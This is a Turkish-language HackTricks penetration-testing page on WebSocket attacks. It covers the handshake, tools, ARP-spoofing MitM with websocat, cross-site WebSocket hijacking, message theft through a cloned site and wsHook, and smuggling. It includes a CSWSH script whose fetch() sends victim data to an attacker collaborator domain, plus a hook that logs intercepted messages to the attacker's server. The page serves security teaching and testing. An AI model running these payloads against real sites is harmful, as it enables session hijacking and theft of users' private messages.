mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
182 lines
12 KiB
Markdown
182 lines
12 KiB
Markdown
# WebSocket Saldırıları
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||
|
||
</details>
|
||
|
||
## WebSockets Nedir
|
||
|
||
WebSocket bağlantıları, başlangıçta **HTTP** el sıkışması aracılığıyla kurulur ve işlem sistemine ihtiyaç duymadan herhangi bir zamanda **çift yönlü mesajlaşma** sağlamak için **uzun süreli** olarak tasarlanmıştır. Bu, canlı finansal veri akışları gibi **düşük gecikme süresi veya sunucu başlatmalı iletişim** gerektiren uygulamalar için WebSockets'in özellikle avantajlı olmasını sağlar.
|
||
|
||
### WebSocket Bağlantılarının Kurulması
|
||
|
||
WebSocket bağlantılarının ayrıntılı bir açıklamasına [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özet olarak, WebSocket bağlantıları genellikle aşağıdaki gibi istemci tarafı JavaScript kullanılarak başlatılır:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||
```
|
||
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını ifade ederken, `ws` güvencesiz bir bağlantıyı gösterir.
|
||
|
||
Bağlantı kurulması sırasında tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesini içerir. Aşağıdaki örneklerde gösterildiği gibi:
|
||
|
||
Tarayıcı bir el sıkışma isteği gönderir:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
Sunucunun el sıkışma yanıtı:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
Bağlantı bir kez kurulduğunda, mesaj alışverişi için bağlantı her iki yönde de açık kalır.
|
||
|
||
**WebSocket El Sıkışmasının Ana Noktaları:**
|
||
|
||
- `Connection` ve `Upgrade` başlıkları, WebSocket el sıkışmasının başlatıldığını belirtir.
|
||
- `Sec-WebSocket-Version` başlığı istenen WebSocket protokol sürümünü belirtir, genellikle `13`'tür.
|
||
- Base64 ile kodlanmış rastgele bir değer, `Sec-WebSocket-Key` başlığında gönderilir ve her el sıkışmanın benzersiz olmasını sağlar, bu da önbellekleyen proxy'lerle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanlış yapılandırılmış bir sunucu veya önbellek tarafından oluşturulan yanıtın doğruluğunu onaylamak içindir.
|
||
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir karmasıdır ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
|
||
|
||
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, böylece etkili gerçek zamanlı iletişim sağlanır.
|
||
|
||
|
||
### Linux konsolu
|
||
|
||
`websocat` kullanarak bir websocket ile doğrudan bir bağlantı kurabilirsiniz.
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
Veya bir websocat sunucusu oluşturmak için:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### MitM websocket bağlantıları
|
||
|
||
Eğer mevcut yerel ağınızdan istemcilerin bir **HTTP websocket**'e bağlı olduğunu tespit ederseniz, istemci ve sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Saldırısı](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) deneyebilirsiniz.\
|
||
İstemci bağlantı kurmaya çalıştığında, aşağıdaki komutu kullanabilirsiniz:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websocket numaralandırma
|
||
|
||
Websocket'leri otomatik olarak keşfetmek, parmak izi almak ve bilinen zayıflıkları aramak için **https://github.com/PalindromeLabs/STEWS** **araç**ını kullanabilirsiniz.
|
||
|
||
### Websocket Hata Ayıklama Araçları
|
||
|
||
* **Burp Suite**, düzenli HTTP iletişimi için yaptığı gibi MitM websocket iletişimini destekler.
|
||
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, Burp'ta Websocket iletişimini daha iyi yönetmenizi sağlar. **Geçmişi** almak, **interception kuralları** belirlemek, **eşleştirme ve değiştirme** kuralları kullanmak, **Intruder** ve **AutoRepeater** kullanmak için kullanılabilir.
|
||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu Node.js yazılımı, istemci ve sunucu arasındaki tüm WebSocket ve Socket.IO iletişimini **yakalamak**, **intercept etmek**, **özel mesajlar göndermek** ve görüntülemek için bir kullanıcı arayüzü sağlar.
|
||
* [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış **etkileşimli bir websocket REPL**'dir. Gelen websocket mesajlarını gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kolay kullanımlı bir çerçeve sunar.
|
||
* [**https://websocketking.com/**](https://websocketking.com/), **websockets** kullanarak diğer web siteleriyle iletişim kurmak için bir **web** sağlar.
|
||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket), diğer iletişim/protokol türlerinin yanı sıra **websockets** kullanarak diğer web siteleriyle iletişim kurmanızı sağlar.
|
||
|
||
## Websocket Laboratuvarı
|
||
|
||
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde, websockets kullanarak bir web sitesi başlatmak için bir kod bulunur ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) açıklama bulabilirsiniz.
|
||
|
||
## Cross-site WebSocket kaçırma (CSWSH)
|
||
|
||
**Cross-site WebSocket kaçırma**, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin belirli bir durumu olarak tanımlanır. Bu zayıflık, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla kimlik doğrulaması yapması durumunda ortaya çıkar ve CSRF tokenları veya benzeri güvenlik önlemleri kullanılmaz.
|
||
|
||
Saldırganlar, zayıf bir uygulamaya karşı bir çapraz site WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu sömürebilir. Sonuç olarak, bu bağlantı, oturum işleme mekanizmasındaki CSRF korumasının eksikliğini sömürerek, bağlantının kurbanın oturumuyla birlikte işlenmesi olarak kabul edilir.
|
||
|
||
### Basit Saldırı
|
||
|
||
Unutmayın ki **websocket** bağlantısı **kurulduğunda**, **çerez** sunucuya **gönderilir**. **Sunucu**, gönderilen çerezlere dayanarak her **belirli kullanıcıyı websocket oturumuyla ilişkilendirebilir**.
|
||
|
||
Örneğin, eğer **websocket** **sunucusu**, "**READY**" iletilmesi durumunda bir kullanıcının konuşma geçmişini geri gönderiyorsa, **basit bir XSS** bağlantı kurarak (çerez, kurban kullanıcıyı yetkilendirmek için **otomatik olarak gönderilecektir**) "**READY**" göndermek, konuşma geçmişini alabilir.
|
||
```markup
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### Farklı bir alt alan adıyla Cross Origin + Cookie
|
||
|
||
Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), saldırgan web soket iletişiminin gerçekleştiği alan adının **alt alan adında keyfi JavaScript kodu çalıştırmayı** başardı. **Alt alan adı** olduğu için **çerez** gönderiliyordu ve **Websocket Origin'i doğru şekilde kontrol etmediği** için onunla iletişim kurarak **onun içinden token çalmak** mümkün oldu.
|
||
|
||
### Kullanıcıdan veri çalmak
|
||
|
||
Taklit etmek istediğiniz web uygulamasını (örneğin .html dosyalarını) kopyalayın ve web soket iletişiminin gerçekleştiği betik içine aşağıdaki kodu ekleyin:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
<script src='wsHook.js'></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function(data, url) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "client_msg?m="+data, true);
|
||
xhttp.send();
|
||
}
|
||
wsHook.after = function(messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||
xhttp.send();
|
||
return messageEvent;
|
||
}
|
||
```
|
||
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
|
||
Web uygulamasını açığa çıkararak ve bir kullanıcının buna bağlanmasını sağlayarak, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## Yarış Koşulları
|
||
|
||
WebSockets'te Yarış Koşulları da önemlidir, [daha fazla bilgi için bu bilgilere bakın](race-condition.md#rc-in-websockets).
|
||
|
||
## Diğer zayıflıklar
|
||
|
||
WebSockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, WebSockets, bir kullanıcının bir web soketinden giriş kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini sömürmek için kullanılabilir.
|
||
|
||
## **WebSocket Smuggling**
|
||
|
||
Bu zayıflık, ters proxy kısıtlamalarını **atlamak** için bir **web soketi iletişimi kurulmuş gibi** yaparak onlara inandırmanıza izin verebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanır. Daha fazla bilgi için aşağıdaki sayfaya bakın:
|
||
|
||
{% content-ref url="h2c-smuggling.md" %}
|
||
[h2c-smuggling.md](h2c-smuggling.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Referanslar
|
||
|
||
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github reposuna PR göndererek paylaşın.
|
||
|
||
</details>
|